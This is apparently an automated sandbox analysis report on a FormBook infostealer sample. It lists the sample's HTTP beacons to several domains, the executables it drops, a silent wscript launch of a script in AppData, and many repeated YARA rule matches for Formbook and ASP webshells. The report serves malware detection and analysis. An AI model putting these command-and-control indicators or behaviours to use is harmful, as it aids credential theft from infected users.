Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=5R3gKgAJtID3s3glssHXeRhFadAM4oJIjGTDo+g9ImvY9tNBMPSBarPOG5Bgot7e+72k&CTr8g=z48HVPSHfp HTTP/1.1Host: www.muddybootslife.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpI6ry2rccLFMoZPirUOcSWhDiha&CTr8g=z48HVPSHfp HTTP/1.1Host: www.84866.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=uZkZa9PDR+t76IUsjgXNksX18rdkaBR0jzgf+2QyrrE0BTZPOy5IBVEfZpk90w8gWC7R&CTr8g=z48HVPSHfp HTTP/1.1Host: www.localbloom.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf HTTP/1.1Host: www.ratebill.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f HTTP/1.1Host: www.topings33.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: oxx7nkdv4g8.exe, 00000017.00000002.891742293.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Wscript called in batch mode (surpress errors)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js			Jump to behavior

Source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: webshell_asp_generic date = 2021-03-07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75, modified = 2021-10-29
Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: webshell_asp_generic date = 2021-03-07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75, modified = 2021-10-29
Source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.440159871.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
